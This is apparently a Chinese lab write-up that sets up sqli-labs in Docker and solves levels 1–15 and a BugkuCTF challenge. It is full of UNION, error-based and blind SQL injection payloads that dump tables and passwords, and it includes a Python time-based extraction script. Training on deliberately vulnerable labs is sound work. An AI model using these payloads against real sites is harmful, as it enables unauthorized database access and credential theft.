sqli-labs搭建以及前15题解答

[TOC]

sqli-labs的部署(vps上)

  1. 安装docker

    因为自己vps上已经装好了,就不多赘述了

    yum upadte//更新yum

    yum install -y docker-engine //安装docker

  2. 部署sqli_libs

    sudo docker search sqli-labs//在docker镜像库中搜索sqli-labs

    sudo docker pull acgpiano/sqli-labs//拉取docker镜像库中的sqli-labs,并下载

    sudo docker run -d --name sqli-labs -p 20000:80 acgpiano/sqli-labs//生成镜像,-p为端口号 -name为镜像名字

  3. 完成后在命令行中打入 docker ps 查看镜像,可以看到sqli-labs的端口号为20000,已经开启

  4. 打开网页可以看到已经访问成功,让我们点击 第二行的setup 连接一下数据库

  5. 如果显示如下的画面则表示已经部署完毕,可以做题啦!

ps: 如果无法连接security数据库,使用如下命令:

docker ps -a //查看所有容器

35c47c2c260d c0ny1/sqli-labs:0.1 //定位到sqlilabs的容器

docker exec -it 0112 /bin/bash //交互模式进入容器 0112是容器id前几位

php /var/www/html/sql-connections/setup-db.php //用php运行这个文件,数据库就连上了

附上链接🔗: https://blog.csdn.net/Big_Study_Father/article/details/106052620

sqli-labs做题记录

Less-1

分析

首先查看源码 在源码中,我们着重看这一句就好 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这句话中的id就是我们在url中get的值,所以通过这一部分的代码,我们可以知道它是什么类型的sql注入,用什么方式绕过等信息

由此我们可以想到如果闭合一个单引号并且将后面的内容注释掉后

sql语句就变成了这样$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+'";

这里利用联合注入,将1,2,3显示出来,同样,利用联合注入还可以爆出表名,字段名等等

解题:

  • 当在id=1后加单引号时报错,由此判断为字符型注入,原理如上面所分析的一样,加入注释符后又可恢复正常

  • 猜解字段数,我们利用order by语句猜解字段数,当order by 4时发现报错,此时判断有3个字段

  • 判断显示位 ,注意!!此时利用union注入时,要将前面id不成立,即使id=-1

    如图,可以发现我们成功将2,3显示在了页面上

  • 接下来爆库名,因为能将数值回显,所以也能将数据库名回显

    如上图,我们将想要显示的信息呈现在页面上,version()为版本信息,database()为库名

  • 我们知道了库名,即可根据库名来爆表名,这里可以用hackbar工具进行注入

    payload:?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

​ 得到如上几个表名

  • 有了表名,我们即可爆字段

    payload:?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

​ 如上图,可以看到在users表中有三个字段,分别是 id,username,password

  • 此时我们爆出password即可成功,爆字段值

    payload:?id=-1' union select 1,2,(select group_concat(password) from security.users)--+

​ 可以看到所有字段内容已经被dump出来了,解题完毕

Less-2

分析

先看关键源码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

很明显的区别就是与上题少了两个引号,上题是字符型注入,那么这题就是数字型注入,也就是说不需要引号,不用闭合引号,可直接输入,直接使用联合注入,其余解题方法与Less-1一样

解题

  • 猜解字段数,方法一样,order by 函数,只不过这题为数字型注入,不需要引号

    可以看到还是一样只有3个字段

  • 爆库名(利用union select时,还是一样要使左边的表达式不成立,即id=0)

    爆出数据库名 security

  • 爆表名,利用语句可dump出所有表名

    payload:?id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

  • 爆字段,根据表名 users 爆字段

    payload:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 爆字段值,根据字段爆内容

    payload:?id=0 union select 1,2,group_concat(password) from security.users--+

​ 如图,所有字段内容已经出来,解题完成

Less-3

分析

先看关键源码: $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

我们观察源码发现,语句上给id加上了个括号,但本质还是字符型注入

如果我们加一个单引号,那么语句就变成$sql="SELECT * FROM users WHERE id=('$id'') LIMIT 0,1";但这样是会出现错误的,因为与前面的双引号重叠了

如果我们加上单引号并且加上括号的话,语句就变成$sql="SELECT * FROM users WHERE id=('$id')') LIMIT 0,1";

如果我们加上括号并加上注释符后 语句为$sql="SELECT * FROM users WHERE id=('$id')--+";

达到了注入的效果

解题

  • 猜解字段数,利用order by语句

    payload:?id=1') order by 4--+

    存在3个字段

  • 爆数据库名

    payload:?id=0') union select 1,database(),3--+

  • 爆表名

    payload:?id=0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

  • 爆字段

    payload:?id=0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

  • 爆字段值

    payload:?id=0') union select 1,2,group_concat(password) from security.users--+

字段爆完,解题完毕

Less-4

分析

首先看源码 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

可以看到id被括号括起来了,整体用双引号括起

那么也很简单,只要将双引号提前闭合就可以达到注入的效果

构造语句 $sql="SELECT * FROM users WHERE id=($id")--+) LIMIT 0,1";

这样成功闭合,–+就将后面的东西注释掉了,成功注入

解题

总体注入方式一样

  • 猜解字段,可以看到还是一样的3个字段

  • 爆数据库名

    payload:?id=0") union select 1,database(),3--+

  • 爆表名

    payload:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆字段

    payload:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 爆字段值

    payload:?id=0") union select 1,2,group_concat(password) from security.users--+

Less-5

分析

先看源码

表面上和第一关没什么区别,但实际上它加上了个判断,也就是说如果我们联合注入的话它只会显示 You are in

此类型题目我们考虑使用盲注的方法,因为页面只会显示You are in,要么没有回显

当出现这种情况考虑布尔盲注,时间盲注,报错注入等,通过猜测和判断,确定长度和字符

解题

  • 如果我们输入 ?id=1' and sleep(5)--+

    如果显示正常,那么页面会延迟5秒种,(并不会有页面的回显)如下图

    ps:过在MySQL中执行select sleep(N)可以让此语句运行N秒钟:

  • 此题采用时间盲注的方式,采用payload:?id=1’ and if(length(database())=7,sleep(5),1)--+

    利用三元表达式,如果数据库长度为7,那么就延迟5s,否则就不延迟

)

如图当判断库名长度为7时,无延迟,当长度为8时有延迟,所以库名长度为8

  • 猜测库名,利用left()函数

    Left()得到字符串左部指定个数的字符

    构造payload:?id=1' and if(left(database(),1)='s',sleep(5),1)--+

    如果数据库的第一个字符是s的话,那么就延迟5s

    很明显有延迟,说明数据库第一个字符为s

  • 但是一个个爆太慢了,我们采用python脚本的方式,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    import requests
    import datetime
    import time

    # 获取数据库名长度


    def database_len():
    for i in range(1, 10):
    url = "http://118.31.59.38:20000/Less-5/"
    payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
    # print(url+payload+'%23')
    time1 = datetime.datetime.now()
    r = requests.get(url + payload)
    time2 = datetime.datetime.now()
    sec = (time2 - time1).seconds
    if sec >= 1:
    print(i)
    else:
    print(i)
    break
    print('database_len:', i)

    #获取数据库名
    def database_name():
    name = ''
    for j in range(1,9):
    for i in '0123456789abcdefghijklmnopqrstuvwxyz':
    url = "http://118.31.59.38:20000/Less-5/"
    payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
    #print(url+payload)
    time1 = datetime.datetime.now()
    r = requests.get(url + payload)
    time2 = datetime.datetime.now()
    sec = (time2 - time1).seconds
    if sec >=3:
    name += i
    print(name)
    break
    print('database_name:', name)


    if __name__ == '__main__':
    database_name()

    得到结果

  • 根据数据库猜测表名

    payload:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'--+

  • 猜字段名

    payload:?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

  • 猜值

    payload:?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

使用脚本如下:(实现爆字段)

Less-6

分析

分析源码可以发现与第五题不同的是这次是双引号,同为字符型,并且只显示You are in或者不回显的状态

那么我们同样可以用上题的时间注入方法,但这题我们使用报错注入

ps:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
使用条件:mysql版本>5.1.5

解题

  • 通过报错注入进行爆库

    payload:?id=1" union select updatexml(1,concat(0x7e,database(),0x7e),1)--+

    或者:?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+

得到数据库 security

  • 通过报错注入进行爆表

    payload:?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

    或者:?id=1" and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

  • 通过报错注入爆字段值 (操作与之前的题目一样)

    payload:?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

Less-7

分析

这题传马也可以,这应该是最预期的解法了

先看关键源代码吧 $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

反正这几题方法都一样,都是盲注,只不过闭合方式不一样而已

这题中我们可以看到双括号,那么我们’))加上注释就可以了

解题

脚本梭就完事了,解题思路同上

时间盲注和布尔盲注都可以,这里用到时间盲注吧 脚本比较万能

库名已经出来

字段名

Less-8

分析

首先查看源码 关键语句是这么写的 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以很简单,我们提前闭合就行,让id=’并注释即可闭合

这题也是一样的,页面只会存在两张状态,所以我们还是通过盲注

报错注入也使用过了,时间注入也使用过了,这次用布尔盲注解题

布尔盲注简介

  • 在无回显的情况下,我们可以用length来尝试猜测数据库名字长度

    1
    1' and length(database()) > 1#

length() 返回字符串长度

ascii() 它返回参数字符的ascii码值,如果参数长度大于1,那就返回第一个字符的码值。

substr() 取子串,截取字符串

简述猜数据库名的思路:

用substr把字符一个个拿出来,判断它的ascii值就可以了!

使用语句 ascii(substr((select database()),1,1))

解题

  • 爆数据库长度

    payload:?id=1' and length(database()) > 7--+

    当我们判断长度为8时,发现回显正常,说明数据库长度为8

  • 爆库名

    payload:?id=1' and ascii(substr(database(),8,1))>120--+

利用上面的payload,我们可以判断库名的长度,利用ascii码,判断库名字母是否处于范围中,如上图如果出现 You are in 那么就说明成立

  • 同样利用上面的原理,我们同样能爆出表名

    payload:?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+

成功回显说明,表名的第一个字符的ascii码大于100

由此可继续推断字段名,字段内容等等

  • 以下是通过python脚本爆出来的结果

如上图,可以看到成功爆出密码

Less-9

分析

根据源码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

看了关键源码后我们发现还是一样的类型,只要提前闭合单引号即可

并且我们发现无论输入什么,页面都没有回显,所以其他注入都不可行,只能使用时间盲注

通过延迟来判断是否成立

解题

  • 如果我们输入 ?id=1' and sleep(5)--+

    如果显示正常,那么页面会延迟5秒种,(并不会有页面的回显)如下图

    ps:过在MySQL中执行select sleep(N)可以让此语句运行N秒钟:

思路一样,上面已经写过了,那么这题用脚本梭就完事了

  • 爆数据库名:

    得到数据库名

  • 爆字段:

  • 爆字段值:

Less-10

分析

先看关键代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

原理一样,闭合单引号即可

这里不多赘述了

贴上结果

上图爆出表名,可继续爆字段

Less-11

分析

首先界面完全不一样,看到表单,那么这题一定是post注入的题目了,第一关的post应该不难

我们先来看下源码

可以发现post了两个值,分别是uname和passwd,并将两个值传入sql语句中,执行操作

那么我们根据之前的做题经验,我们将post值提前闭合就可,这是一道基于单引号的字符型注入

那么做题思路都一样,只是传参方式不同罢了

解题

  • 猜测有几个字段

    payload(使用post传参):uname=0' union select 1,2#&passwd=1

    这里的passwd的值无所谓,因为只要前面的能注入,出结果就行了

    看到回显说字段3不存在,说明只有两个字段

  • 爆数据库名

    payload(使用post传参):uname=0' union select 1,database()#&passwd=1

  • 爆数据表

    payload(使用post传参):uname=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&passwd=1

  • 爆字段

​ payload(使用post传参):uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1

![image-20210728213954577](C:\Users\Pro 13\AppData\Roaming\Typora\typora-user-images\image-20210728213954577.png)

  • 爆字段值

​ payload(使用post传参):uname=0' union select 1,group_concat(password) from security.users#&passwd=1

解题完毕

Less-12

分析

先看源码 关键源码 @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

芜湖,又是原理一样的题目,只不过这里是闭合双引号加括号罢了,这种题我们之前做过太多太多了

简简单单梭哈

解题

解法都是一样的,就不多赘述了

贴几个payload吧!

  • 爆表:

    payload:(post传参)uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1

![image-20210728215234998](C:\Users\Pro 13\AppData\Roaming\Typora\typora-user-images\image-20210728215234998.png)

  • 爆字段值

    payload:uname=0") union select 1,group_concat(username) from security.users#&passwd=1

解题完毕

Less-13

分析

先看源码

猜测应该是闭合单引号括号就可以进行注入

我们使用联合注入,但是发现好像页面并无回显

试了几次后无果,考虑盲注或者报错注入

这里采用报错注入的方法

解题

  • 报错注入爆数据库名,使用updatexml函数,并闭合uname

    payload:uname=1') union select updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1

成功报错回显,显示数据库名,接下来的步骤都一样啦

  • 爆表名

    payload:uname=1') union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1

爆出表名,接下来不多赘述

Less-14

分析

先看源码

啊这,双引号注入,基于双引号的字符型注入

简简单单,也不分析了吧

先判断下还是不是利用报错注入

好吧还是,利用联合注入没反应,还得是报错注入

解题

解法与上题一样,改闭合方式即可

这里就贴一个爆出的字段值的吧

payload:uname=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#&passwd=1

Less-15

分析

查看源码如下

好像是单引号闭合

但是我们发现好像并无回显,唯一会变的就是下方的图片样式,让我们再仔细的查看代码

如上图,我们发现它把报错注入的提示和提示信息都注释掉了,所以我猜测这题使用盲注与sleep函数进行配合注入

解题

  • 判断数据库长度

    payload:uname=admin' and if(length(database()=8),sleep(5),1)#&passwd=1

    ps:这里的uname必须为admin才会进行时间盲注,换成其他值都不行,这个疑问还没解决

如上图成功延时,这就说明数据库长度为8

  • 爆数据库名

    payload:uname=admin' and if(substr(database(),1,1)='s',sleep(5),1)#&passwd=1

    如果延时,那么说明数据库的第一个字符为 s

    uname=admin’ and if(substr(database(),2,1)=’e’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),3,1)=’c’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),4,1)=’u’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),5,1)=’r’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),6,1)=’i’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),7,1)=’t’,sleep(5),1)#&passwd=1

    uname=admin’ and if(substr(database(),8,1)=’y’,sleep(5),1)#&passwd=1

    按照这种方法可以猜测出数据库名

    用同类方法也可以爆出表名,字段名等,不多赘述了

BugkuCTF web17 成绩表

先随便输入数字试试 输入1发现有回显

根据传参可判断这是POST方式,测试一下是不是为sql注入,输入id=1后回显正常

加入单引号后发现回显不正常,判断为sql注入

接下来用order by 语句判断列数

从4开始吧,构造id=1’ order by 4#,正常回显

当构造id=1’ order by 5#时,发现回显不正常

由此判断有4列

之后尝试联合注入,需要把查询数据置空

具体做法是:id=0’ union select 1,2,3,4#

下面就猜测数据库的库名,版本信息,数据库用户

1
tips: 没有顺序可言,因为第一个列是成绩单的姓名,所以我们可以把它设为null

根据数据库skctf_flag去查询表名

我们可以构造这么一个pyload,

1
id=0' union select null,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#

大致意思就是将第二个列显示出它所有的表名

这个**select group_concat(table_name) from information_schema.tables where table_schema=database() **可以暂且把它当作一个用来查询表名的固定格式

我们得到了fl4g,可知flag在fl4g的表中,那么下一步我们需要做的就是查询此表中的字段名

构造pyload

id=0’ union select null,(select group_concat(column_name) from information_schema.columns where table_name=’fl4g’),user(),version()#

注意!!

这里fl4g是一个表,所以需要加单引号

我们得到了 skctf_flag 字段 可知flag在这里了(皆大欢喜)

接下来就很简单了 直接构造

1
select skctf_flag from fl4g

可得 pyload

id=0’ union select null,(select skctf_flag from fl4g),user(),version()#

可得flag{aaab401ce593c5d4334e8c565a91b82e}

列名爆出后 爆当前列下的内容所用指令

select concat_ws(char(32,58,32),username,passwd) from users limit 1,1

布尔盲注

布尔盲注就是存在注入的页面没有回显,没办法用select 1,2,3….#来判断页面的回显

既需要手工又需要脚本:

http://219.153.49.228/new_list.php?id=1 and length(database())>10

用上述的length函数判断数据库长度

现当值为10的时候,页面就没有显示为false。那么说明database()的长度是10

利用/!union/可以绕过对union的过滤